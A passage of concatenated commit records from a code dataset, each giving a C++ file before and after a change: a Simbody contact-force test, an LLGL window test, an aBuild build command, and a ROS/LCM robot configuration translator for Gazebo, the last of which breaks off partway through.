MobilizedBody::Translation mesh(matter.updGround(), Transform(), body, Transform());\n contacts.addBody(setIndex, mesh, ContactGeometry::TriangleMesh(vertices, faceIndices), Transform());\n contacts.addBody(setIndex, matter.updGround(), ContactGeometry::HalfSpace(), Transform(Rotation(-0.5*Pi, ZAxis), Vec3(0))); \/\/ y < 0\n ElasticFoundationForce ef(forces, contacts, setIndex);\n Real stiffness = 1e9, dissipation = 0.01, us = 0.1, ud = 0.05, uv = 0.01, vt = 0.01;\n ef.setBodyParameters(ContactSurfaceIndex(0), stiffness, dissipation, us, ud, uv);\n ef.setTransitionVelocity(vt);\n ASSERT(ef.getTransitionVelocity() == vt);\n State state = system.realizeTopology();\n \n \/\/ Position the pyramid at a variety of positions and check the normal \n \/\/ force.\n \n for (Real depth = -0.1; depth < 0.1; depth += 0.01) {\n mesh.setQToFitTranslation(state, Vec3(0, -depth, 0));\n system.realize(state, Stage::Dynamics);\n Real f = 0;\n if (depth > 0)\n f = stiffness*depth;\n assertEqual(system.getRigidBodyForces(state, Stage::Dynamics)[mesh.getMobilizedBodyIndex()][1], Vec3(0, f, 0));\n assertEqual(system.getRigidBodyForces(state, Stage::Dynamics)[matter.getGround().getMobilizedBodyIndex()][1], Vec3(0, -f, 0));\n }\n \n \/\/ Now do it with a vertical velocity and see if the dissipation force is correct.\n\n for (Real depth = -0.105; depth < 0.1; depth += 0.01) {\n mesh.setQToFitTranslation(state, Vec3(0, -depth, 0));\n for (Real v = -1.0; v <= 1.0; v += 0.1) {\n mesh.setUToFitLinearVelocity(state, Vec3(0, -v, 0));\n system.realize(state, Stage::Dynamics);\n Real f = (depth > 0 ? stiffness*depth*(1+dissipation*v) : 0);\n if (f < 0)\n f = 0;\n assertEqual(system.getRigidBodyForces(state, Stage::Dynamics)[mesh.getMobilizedBodyIndex()][1], Vec3(0, f, 0));\n }\n }\n \n \/\/ Do it with a horizontal velocity and see if the friction force is correct.\n\n Vector_<SpatialVec> expectedForce(matter.getNumBodies());\n for (Real depth = -0.105; depth < 0.1; depth += 0.01) {\n mesh.setQToFitTranslation(state, Vec3(0, -depth, 0));\n Real fh = 0;\n if (depth > 0)\n fh = stiffness*depth;\n for (Real v = -1.0; v <= 1.0; v += 0.1) {\n mesh.setUToFitLinearVelocity(state, Vec3(v, 0, 0));\n system.realize(state, Stage::Dynamics);\n const Real vrel = std::abs(v\/vt);\n Real ff = (v < 0 ? 1 : -1)*fh*(std::min(vrel, 1.0)*(ud+2*(us-ud)\/(1+vrel*vrel))+uv*std::fabs(v));\n const Vec3 totalForce = Vec3(ff, fh, 0);\n expectedForce = SpatialVec(Vec3(0), Vec3(0));\n Vec3 contactPoint1 = mesh.findStationAtGroundPoint(state, Vec3(2.0\/3.0, 0, 1.0\/3.0));\n mesh.applyForceToBodyPoint(state, contactPoint1, 0.5*totalForce, expectedForce);\n Vec3 contactPoint2 = mesh.findStationAtGroundPoint(state, Vec3(1.0\/3.0, 0, 2.0\/3.0));\n mesh.applyForceToBodyPoint(state, contactPoint2, 0.5*totalForce, expectedForce);\n SpatialVec actualForce = system.getRigidBodyForces(state, Stage::Dynamics)[mesh.getMobilizedBodyIndex()];\n assertEqual(actualForce[0], expectedForce[mesh.getMobilizedBodyIndex()][0]);\n assertEqual(actualForce[1], expectedForce[mesh.getMobilizedBodyIndex()][1]);\n }\n }\n}\n\nint main() {\n try {\n testForces();\n }\n catch(const std::exception& e) {\n cout << \"exception: \" << e.what() << endl;\n return 1;\n }\n cout << \"Done\" << endl;\n return 0;\n}\n<commit_msg>[master] Removed trailing spaces in Simbody\/tests\/TestElasticFoundationForce.cpp<commit_after>\/* -------------------------------------------------------------------------- *\n * Simbody(tm) *\n * -------------------------------------------------------------------------- *\n * This is part of the SimTK biosimulation toolkit originating from *\n * Simbios, the NIH National Center for Physics-Based Simulation of *\n * Biological Structures at Stanford, funded under the NIH Roadmap for *\n * Medical Research, grant U54 GM072970. See https:\/\/simtk.org\/home\/simbody. *\n * *\n * Portions copyright (c) 2008-12 Stanford University and the Authors. *\n * Authors: Peter Eastman *\n * Contributors: *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n#include \"SimTKsimbody.h\"\n\nusing namespace SimTK;\nusing namespace std;\n\nconst Real TOL = 1e-5;\n\n#define ASSERT(cond) {SimTK_ASSERT_ALWAYS(cond, \"Assertion failed\");}\n\ntemplate <class T>\nvoid assertEqual(T val1, T val2) {\n ASSERT(abs(val1-val2) < TOL || abs(val1-val2)\/max(abs(val1), abs(val2)) < TOL);\n}\n\ntemplate <int N>\nvoid assertEqual(Vec<N> val1, Vec<N> val2) {\n for (int i = 0; i < N; ++i)\n assertEqual(val1[i], val2[i]);\n}\n\nvoid testForces() {\n MultibodySystem system;\n SimbodyMatterSubsystem matter(system);\n GeneralContactSubsystem contacts(system);\n GeneralForceSubsystem forces(system);\n\n \/\/ Create a triangle mesh in the shape of a pyramid, with the\n \/\/ square base having area 1 (split into two triangles).\n\n vector<Vec3> vertices;\n vertices.push_back(Vec3(0, 0, 0));\n vertices.push_back(Vec3(1, 0, 0));\n vertices.push_back(Vec3(1, 0, 1));\n vertices.push_back(Vec3(0, 0, 1));\n vertices.push_back(Vec3(0.5, 1, 0.5));\n vector<int> faceIndices;\n int faces[6][3] = {{0, 1, 2}, {0, 2, 3}, {1, 0, 4},\n {2, 1, 4}, {3, 2, 4}, {0, 3, 4}};\n for (int i = 0; i < 6; i++)\n for (int j = 0; j < 3; j++)\n faceIndices.push_back(faces[i][j]);\n\n \/\/ Create the mobilized bodies and configure the contact model.\n\n Body::Rigid body(MassProperties(1.0, Vec3(0), Inertia(1)));\n ContactSetIndex setIndex = contacts.createContactSet();\n MobilizedBody::Translation mesh(matter.updGround(), Transform(), body, Transform());\n contacts.addBody(setIndex, mesh, ContactGeometry::TriangleMesh(vertices, faceIndices), Transform());\n contacts.addBody(setIndex, matter.updGround(), ContactGeometry::HalfSpace(), Transform(Rotation(-0.5*Pi, ZAxis), Vec3(0))); \/\/ y < 0\n ElasticFoundationForce ef(forces, contacts, setIndex);\n Real stiffness = 1e9, dissipation = 0.01, us = 0.1, ud = 0.05, uv = 0.01, vt = 0.01;\n ef.setBodyParameters(ContactSurfaceIndex(0), stiffness, dissipation, us, ud, uv);\n ef.setTransitionVelocity(vt);\n ASSERT(ef.getTransitionVelocity() == vt);\n State state = system.realizeTopology();\n\n \/\/ Position the pyramid at a variety of positions and check the normal\n \/\/ force.\n\n for (Real depth = -0.1; depth < 0.1; depth += 0.01) {\n mesh.setQToFitTranslation(state, Vec3(0, -depth, 0));\n system.realize(state, Stage::Dynamics);\n Real f = 0;\n if (depth > 0)\n f = stiffness*depth;\n assertEqual(system.getRigidBodyForces(state, Stage::Dynamics)[mesh.getMobilizedBodyIndex()][1], Vec3(0, f, 0));\n assertEqual(system.getRigidBodyForces(state, Stage::Dynamics)[matter.getGround().getMobilizedBodyIndex()][1], Vec3(0, -f, 0));\n }\n\n \/\/ Now do it with a vertical velocity and see if the dissipation force is correct.\n\n for (Real depth = -0.105; depth < 0.1; depth += 0.01) {\n mesh.setQToFitTranslation(state, Vec3(0, -depth, 0));\n for (Real v = -1.0; v <= 1.0; v += 0.1) {\n mesh.setUToFitLinearVelocity(state, Vec3(0, -v, 0));\n system.realize(state, Stage::Dynamics);\n Real f = (depth > 0 ? stiffness*depth*(1+dissipation*v) : 0);\n if (f < 0)\n f = 0;\n assertEqual(system.getRigidBodyForces(state, Stage::Dynamics)[mesh.getMobilizedBodyIndex()][1], Vec3(0, f, 0));\n }\n }\n\n \/\/ Do it with a horizontal velocity and see if the friction force is correct.\n\n Vector_<SpatialVec> expectedForce(matter.getNumBodies());\n for (Real depth = -0.105; depth < 0.1; depth += 0.01) {\n mesh.setQToFitTranslation(state, Vec3(0, -depth, 0));\n Real fh = 0;\n if (depth > 0)\n fh = stiffness*depth;\n for (Real v = -1.0; v <= 1.0; v += 0.1) {\n mesh.setUToFitLinearVelocity(state, Vec3(v, 0, 0));\n system.realize(state, Stage::Dynamics);\n const Real vrel = std::abs(v\/vt);\n Real ff = (v < 0 ? 1 : -1)*fh*(std::min(vrel, 1.0)*(ud+2*(us-ud)\/(1+vrel*vrel))+uv*std::fabs(v));\n const Vec3 totalForce = Vec3(ff, fh, 0);\n expectedForce = SpatialVec(Vec3(0), Vec3(0));\n Vec3 contactPoint1 = mesh.findStationAtGroundPoint(state, Vec3(2.0\/3.0, 0, 1.0\/3.0));\n mesh.applyForceToBodyPoint(state, contactPoint1, 0.5*totalForce, expectedForce);\n Vec3 contactPoint2 = mesh.findStationAtGroundPoint(state, Vec3(1.0\/3.0, 0, 2.0\/3.0));\n mesh.applyForceToBodyPoint(state, contactPoint2, 0.5*totalForce, expectedForce);\n SpatialVec actualForce = system.getRigidBodyForces(state, Stage::Dynamics)[mesh.getMobilizedBodyIndex()];\n assertEqual(actualForce[0], expectedForce[mesh.getMobilizedBodyIndex()][0]);\n assertEqual(actualForce[1], expectedForce[mesh.getMobilizedBodyIndex()][1]);\n }\n }\n}\n\nint main() {\n try {\n testForces();\n }\n catch(const std::exception& e) {\n cout << \"exception: \" << e.what() << endl;\n return 1;\n }\n cout << \"Done\" << endl;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * test1.cpp\n *\n * This file is part of the \"LLGL\" project (Copyright (c) 2015 by Lukas Hermanns)\n * See \"LICENSE.txt\" for license information.\n *\/\n\n#include <LLGL\/LLGL.h>\n#include <memory>\n#include <iostream>\n#include <string>\n#include <sstream>\n\n\nint main()\n{\n try\n {\n \/\/ Create window\n LLGL::WindowDesc windowDesc;\n\n windowDesc.title = L\"LLGL Test 1\";\n windowDesc.visible = true;\n windowDesc.centered = true;\n windowDesc.resizable = true;\n windowDesc.size = { 640, 480 };\n\n auto window = LLGL::Window::Create(windowDesc);\n\n auto input = std::make_shared<LLGL::Input>();\n window->AddListener(input);\n\n auto timer = LLGL::Timer::Create();\n\n int x = 100, y = 100;\n window->SetPosition({ x, y });\n\n\n\n while (window->ProcessEvents() && !input->KeyPressed(LLGL::Key::Escape))\n {\n timer->MeasureTime();\n\n \/\/std::cout << 1.0 \/ timer->GetDeltaTime() << std::endl;\n\n if (input->KeyPressed(LLGL::Key::Num1))\n window->Show(false);\n if (input->KeyPressed(LLGL::Key::Num2))\n window->Show(true);\n if (input->KeyPressed(LLGL::Key::Num3))\n window->SetTitle(L\"FOO BAR\");\n if (input->KeyPressed(LLGL::Key::Num4))\n window->SetTitle(L\"LLGL Test 1\");\n if (input->KeyPressed(LLGL::Key::Num5))\n window->SetSize({ 300, 300 });\n\n auto mousePos = input->GetMousePosition();\n std::wstringstream s;\n s << \"X = \" << mousePos.x << \", Y = \" << mousePos.y;\n window->SetTitle(s.str());\n\n if (input->KeyPressed(LLGL::Key::Right))\n {\n ++x;\n window->SetPosition({ x, y });\n }\n if (input->KeyPressed(LLGL::Key::Left))\n {\n --x;\n window->SetPosition({ x, y });\n }\n if (input->KeyPressed(LLGL::Key::Up))\n {\n --y;\n window->SetPosition({ x, y });\n }\n if (input->KeyPressed(LLGL::Key::Down))\n {\n ++y;\n window->SetPosition({ x, y });\n }\n\n }\n }\n catch (const std::exception& e)\n {\n std::cerr << e.what() << std::endl;\n }\n\n return 0;\n}\n<commit_msg>Commented out test section for Windows.<commit_after>\/*\n * test1.cpp\n *\n * This file is part of the \"LLGL\" project (Copyright (c) 2015 by Lukas Hermanns)\n * See \"LICENSE.txt\" for license information.\n *\/\n\n#include <LLGL\/LLGL.h>\n#include <memory>\n#include <iostream>\n#include <string>\n#include <sstream>\n\n\nint main()\n{\n try\n {\n \/\/ Create window\n LLGL::WindowDesc windowDesc;\n\n windowDesc.title = L\"LLGL Test 1\";\n windowDesc.visible = true;\n windowDesc.centered = true;\n windowDesc.resizable = true;\n windowDesc.size = { 640, 480 };\n\n auto window = LLGL::Window::Create(windowDesc);\n\n auto input = std::make_shared<LLGL::Input>();\n window->AddListener(input);\n\n auto timer = LLGL::Timer::Create();\n\n int x = 100, y = 100;\n window->SetPosition({ x, y });\n\n\n\n while (window->ProcessEvents() && !input->KeyPressed(LLGL::Key::Escape))\n {\n timer->MeasureTime();\n\n \/\/std::cout << 1.0 \/ timer->GetDeltaTime() << std::endl;\n\n if (input->KeyPressed(LLGL::Key::Num1))\n window->Show(false);\n if (input->KeyPressed(LLGL::Key::Num2))\n window->Show(true);\n if (input->KeyPressed(LLGL::Key::Num3))\n window->SetTitle(L\"FOO BAR\");\n if (input->KeyPressed(LLGL::Key::Num4))\n window->SetTitle(L\"LLGL Test 1\");\n if (input->KeyPressed(LLGL::Key::Num5))\n window->SetSize({ 300, 300 });\n\n #ifdef __APPLE__\n auto mousePos = input->GetMousePosition();\n std::wstringstream s;\n s << \"X = \" << mousePos.x << \", Y = \" << mousePos.y;\n window->SetTitle(s.str());\n #endif\n\n if (input->KeyPressed(LLGL::Key::Right))\n {\n ++x;\n window->SetPosition({ x, y });\n }\n if (input->KeyPressed(LLGL::Key::Left))\n {\n --x;\n window->SetPosition({ x, y });\n }\n if (input->KeyPressed(LLGL::Key::Up))\n {\n --y;\n window->SetPosition({ x, y });\n }\n if (input->KeyPressed(LLGL::Key::Down))\n {\n ++y;\n window->SetPosition({ x, y });\n }\n\n }\n }\n catch (const std::exception& e)\n {\n std::cerr << e.what() << std::endl;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"commands.h\"\n\nusing namespace aBuild;\n\n\nnamespace commands {\n\nvoid build(bool verbose) {\n\tWorkspace ws(\".\");\n\n\tcheckingMissingPackages(ws);\n\tcheckingNotNeededPackages(ws);\n\tcheckingInvalidPackages(ws);\n\tcheckingRequiredPackages(ws);\n\n\n\tGraph graph;\n\n\tauto allToolchains = getAllToolchains(ws);\n\n\tToolchain toolchain = allToolchains.rbegin()->second;\n\tstd::string toolchainName = ws.accessConfigFile().getToolchain();\n\tif (allToolchains.find(toolchainName) != allToolchains.end()) {\n\t\ttoolchain = allToolchains.at(toolchainName);\n\t}\n\n\tstd::cout << \"Using toolchain: \" << toolchain.getName();\n\tstd::cout << std::endl;\n\n\tstd::unique_ptr<BuildAction> action { new BuildActionClang(&graph, verbose, &ws.accessConfigFile(), toolchain) };\n\n\tauto linkingLibFunc = action->getLinkingLibFunc();\n\tauto linkingExecFunc = action->getLinkingExecFunc();\n\tauto _compileFileCppFunc = action->getCompileCppFileFunc();\n\tauto _compileFileCppFuncDep = action->getCompileCppFileFuncDep();\n\tauto compileFileCFunc = action->getCompileCFileFunc();\n\tstd::function<void(std::string*)> compileFileCppFunc = [&] (std::string* p){\n\t\t_compileFileCppFunc(p);\n\t\t_compileFileCppFuncDep(p);\n\t};\n\n\t\/\/ Create dependency tree\n\tauto projects = ws.getAllRequiredProjects();\n\tfor (auto& e : projects) {\n\t\tauto& project = e.second;\n\t\t\/\/ Adding linking\n\t\tif (project.getType() == \"library\") {\n\t\t\tgraph.addNode(&project, linkingLibFunc);\n\t\t} else if (project.getType() == \"executable\") {\n\t\t\tgraph.addNode(&project, linkingExecFunc);\n\t\t} else {\n\t\t\tstd::cout<<\"invalid type: \"<<project.getType()<<std::endl;\n\t\t}\n\n\n\t\t\/\/ Adding compile files\n\t\tfor (auto& f : project.getAllCppFiles()) {\n\t\t\tgraph.addNode(&f, compileFileCppFunc);\n\t\t\tgraph.addEdge(&f, &project);\n\t\t}\n\t\t\/\/ Adding compile files\n\t\tfor (auto& f : project.getAllCFiles()) {\n\t\t\tgraph.addNode(&f, compileFileCFunc);\n\t\t\tgraph.addEdge(&f, &project);\n\t\t}\n\t\tfor (auto const& dep : project.getDependencies()) {\n\t\t\tauto l = utils::explode(dep, \"\/\");\n\t\t\tauto key = l[l.size() -1];\n\t\t\tgraph.addEdge(&projects.at(key), &project);\n\t\t}\n\t\tfor (auto const& dep : project.getOptionalDependencies()) {\n\t\t\tauto l = utils::explode(dep, \"\/\");\n\t\t\tauto key = l[l.size() -1];\n\t\t\tif (projects.find(key) != projects.end()) {\n\t\t\t\tgraph.addEdge(&projects.at(key), &project);\n\t\t\t}\n\t\t}\n\t}\n\n\tgraph.visitAllNodes();\n}\n\n}\n\n<commit_msg>showing flavor when building<commit_after>#include \"commands.h\"\n\nusing namespace aBuild;\n\n\nnamespace commands {\n\nvoid build(bool verbose) {\n\tWorkspace ws(\".\");\n\n\tcheckingMissingPackages(ws);\n\tcheckingNotNeededPackages(ws);\n\tcheckingInvalidPackages(ws);\n\tcheckingRequiredPackages(ws);\n\n\n\tGraph graph;\n\n\tauto allToolchains = getAllToolchains(ws);\n\n\tToolchain toolchain = allToolchains.rbegin()->second;\n\tstd::string toolchainName = ws.accessConfigFile().getToolchain();\n\tif (allToolchains.find(toolchainName) != allToolchains.end()) {\n\t\ttoolchain = allToolchains.at(toolchainName);\n\t}\n\n\tstd::cout << \"Using toolchain: \" << toolchain.getName() << std::endl;\n\tstd::cout << \"Using flavor: \" << ws.accessConfigFile().getFlavor() << std::endl;\n\n\tstd::unique_ptr<BuildAction> action { new BuildActionClang(&graph, verbose, &ws.accessConfigFile(), toolchain) };\n\n\tauto linkingLibFunc = action->getLinkingLibFunc();\n\tauto linkingExecFunc = action->getLinkingExecFunc();\n\tauto _compileFileCppFunc = action->getCompileCppFileFunc();\n\tauto _compileFileCppFuncDep = action->getCompileCppFileFuncDep();\n\tauto compileFileCFunc = action->getCompileCFileFunc();\n\tstd::function<void(std::string*)> compileFileCppFunc = [&] (std::string* p){\n\t\t_compileFileCppFunc(p);\n\t\t_compileFileCppFuncDep(p);\n\t};\n\n\t\/\/ Create dependency tree\n\tauto projects = ws.getAllRequiredProjects();\n\tfor (auto& e : projects) {\n\t\tauto& project = e.second;\n\t\t\/\/ Adding linking\n\t\tif (project.getType() == \"library\") {\n\t\t\tgraph.addNode(&project, linkingLibFunc);\n\t\t} else if (project.getType() == \"executable\") {\n\t\t\tgraph.addNode(&project, linkingExecFunc);\n\t\t} else {\n\t\t\tstd::cout<<\"invalid type: \"<<project.getType()<<std::endl;\n\t\t}\n\n\n\t\t\/\/ Adding compile files\n\t\tfor (auto& f : project.getAllCppFiles()) {\n\t\t\tgraph.addNode(&f, compileFileCppFunc);\n\t\t\tgraph.addEdge(&f, &project);\n\t\t}\n\t\t\/\/ Adding compile files\n\t\tfor (auto& f : project.getAllCFiles()) {\n\t\t\tgraph.addNode(&f, compileFileCFunc);\n\t\t\tgraph.addEdge(&f, &project);\n\t\t}\n\t\tfor (auto const& dep : project.getDependencies()) {\n\t\t\tauto l = utils::explode(dep, \"\/\");\n\t\t\tauto key = l[l.size() -1];\n\t\t\tgraph.addEdge(&projects.at(key), &project);\n\t\t}\n\t\tfor (auto const& dep : project.getOptionalDependencies()) {\n\t\t\tauto l = utils::explode(dep, \"\/\");\n\t\t\tauto key = l[l.size() -1];\n\t\t\tif (projects.find(key) != projects.end()) {\n\t\t\t\tgraph.addEdge(&projects.at(key), &project);\n\t\t\t}\n\t\t}\n\t}\n\n\tgraph.visitAllNodes();\n}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <ros\/ros.h>\n#include <cstdlib>\n#include <lcm\/lcm-cpp.hpp>\n#include <lcmtypes\/drc_lcmtypes.hpp>\n#include <std_msgs\/Float64.h>\n#include <sensor_msgs\/JointState.h>\n#include <geometry_msgs\/Pose.h>\n#include <std_srvs\/Empty.h>\n#include <map>\n#include <string>\n\n\/**\n\tA simple translator that listens for a robot state message on the SET_ROBOT_CONFIG channel and sets the robot's pose, joint positions,\n\tand PID controller setpoints accordingly. If pausePhysics is set to true, the gazebo simulation will be paused after the configuration \n\tis reset.\n**\/\n\nclass ConfigurationCommandHandler{\n\tprivate:\n\t\n\t\tstd::map<std::string, ros::Publisher> setpoint_map;\n\t\tros::Publisher pose_pub;\n\t\tros::Publisher joint_pub;\n\t\tros::NodeHandle config_command_node;\n\t\t\n\t\tros::ServiceClient client;\n\t\tbool pausePhysics;\n\t\n\t\t\n\tpublic:\n\t\tConfigurationCommandHandler(ros::NodeHandle &node): config_command_node(node) {\n\t \t\t\n\t \t\tpose_pub = config_command_node.advertise<geometry_msgs::Pose>(\"\/atlas\/set_pose\",10);\n\t \t\tjoint_pub = config_command_node.advertise<sensor_msgs::JointState>(\"\/atlas\/configuration\",10);\n\t \t\t\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_elx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_elx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_ely\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_ely_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_mwx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_mwx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_shx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_shx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_usy\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_usy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_uwy\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_uwy_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_elx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_elx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_ely\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_ely_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_mwx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_mwx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_shx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_shx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_usy\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_usy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_uwy\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_uwy_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_kny\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_kny_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_lax\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_lax_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_lhy\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_lhy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_mhx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_mhx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_uay\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_uay_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_uhz\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_uhz_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_kny\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_kny_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_lax\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_lax_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_lhy\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_lhy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_mhx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_mhx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_uay\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_uay_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_uhz\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_uhz_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"neck_ay\",config_command_node.advertise<std_msgs::Float64>(\"\/neck_ay_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"back_lbz\",config_command_node.advertise<std_msgs::Float64>(\"\/back_lbz_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"back_mby\",config_command_node.advertise<std_msgs::Float64>(\"\/back_mby_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"back_ubx\",config_command_node.advertise<std_msgs::Float64>(\"\/back_ubx_position_controller\/command\",10)));\n\t\n\t\t\tpausePhysics = false;\n\t\t\tclient = config_command_node.serviceClient<std_srvs::Empty>(\"\/gazebo\/pause_physics\");\n\t\t}\n\t\t~ConfigurationCommandHandler() {}\n\t\n\t\tvoid configuration_command_callback(const lcm::ReceiveBuffer* rbuf,const std::string &channel,const drc::robot_state_t* msg)\n\t\t{\n\t\t\t\/\/ set robot pose\t\t\n\t\t\tgeometry_msgs::Pose pose_msg;\n\t\t\tpose_msg.position = geometry_msgs::Point();\n\t\t\tpose_msg.position.x = msg->origin_position.translation.x;\n\t\t\tpose_msg.position.y = msg->origin_position.translation.y;\n\t\t\tpose_msg.position.z = msg->origin_position.translation.z;\n\t\t\t\n\t\t\tpose_msg.orientation = geometry_msgs::Quaternion();\n\t\t\tpose_msg.orientation.x = msg->origin_position.rotation.x;\n\t\t\tpose_msg.orientation.y = msg->origin_position.rotation.y;\n\t\t\tpose_msg.orientation.z = msg->origin_position.rotation.z;\n\t\t\tpose_msg.orientation.w = msg->origin_position.rotation.w;\n\t\t\t\n\t\t\t\/\/ set robot joint config\n\t\t\tsensor_msgs::JointState joint_msg;\n\t\t\tfor (int i=0; i<msg->num_joints; i++) {\n\t\t\t joint_msg.name.push_back(msg->joint_name[i]);\n\t\t\t joint_msg.position.push_back(msg->joint_position[i]);\n\t\t\t}\n\t\t\t\n\t\t\tif(ros::ok()) {\n\t\t\t\tjoint_pub.publish(joint_msg);\t\t\t\n\t\t\t\tpose_pub.publish(pose_msg);\t\t\t\n\t\t\t}\t\t\t\n\t\t\t\n\t\t\t\/\/ set PID goals\n\t\t\tstd_msgs::Float64 position_command_msg;\n\t\t\tfor (int i=0; i<msg->num_joints; i++) {\n\t\t\t \/\/ should we instead publish all joints at the same time?\n\t\t\t position_command_msg.data = msg->joint_position[i];\n\t\t\t\tif(ros::ok()) {\n\t\t\t\t\tsetpoint_map[msg->joint_name[i]].publish(position_command_msg);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ pause gazebo\n\t\t\tif(pausePhysics && ros::ok()) {\n\t\t \t\tstd_srvs::Empty srv;\n\t\t \t\tif (!client.call(srv)) {\n\t\t\t\t\tROS_ERROR(\"Failed to pause gazebo.\");\n\t\t \t\t}\t\n\t\t\t}\n\t\t}\n};\t\n\nint main(int argc,char** argv) {\n\tros::init(argc,argv,\"config_command_publisher\",ros::init_options::NoSigintHandler);\n ros::NodeHandle config_command_node;\n\n\tlcm::LCM listener;\n\tif(!listener.good())\n\t\treturn 1;\n\tConfigurationCommandHandler handlerObject(config_command_node);\n\t\n\t\/\/LCM subscription\n\tlistener.subscribe(\"SET_ROBOT_CONFIG\",&ConfigurationCommandHandler::configuration_command_callback,&handlerObject);\n\n\twhile(0 == listener.handle());\n\treturn 0;\n}\n\n\n<commit_msg>physics is now paused in the config command lcm2ros translator before setting the robot pose and config<commit_after>#include <ros\/ros.h>\n#include <cstdlib>\n#include <lcm\/lcm-cpp.hpp>\n#include <lcmtypes\/drc_lcmtypes.hpp>\n#include <std_msgs\/Float64.h>\n#include <sensor_msgs\/JointState.h>\n#include <geometry_msgs\/Pose.h>\n#include <std_srvs\/Empty.h>\n#include <map>\n#include <string>\n\n\/**\n\tA simple translator that listens for a robot state message on the SET_ROBOT_CONFIG channel and sets the robot's pose, joint positions,\n\tand PID controller setpoints accordingly. If pausePhysics is set to true, the gazebo simulation will be paused after the configuration \n\tis reset.\n**\/\n\nclass ConfigurationCommandHandler{\n\tprivate:\n\t\n\t\tstd::map<std::string, ros::Publisher> setpoint_map;\n\t\tros::Publisher pose_pub;\n\t\tros::Publisher joint_pub;\n\t\tros::NodeHandle config_command_node;\n\t\t\n\t\tros::ServiceClient client;\n\t\tbool pausePhysics;\n\t\n\t\t\n\tpublic:\n\t\tConfigurationCommandHandler(ros::NodeHandle &node): config_command_node(node) {\n\t \t\t\n\t \t\tpose_pub = config_command_node.advertise<geometry_msgs::Pose>(\"\/atlas\/set_pose\",10);\n\t \t\tjoint_pub = config_command_node.advertise<sensor_msgs::JointState>(\"\/atlas\/configuration\",10);\n\t 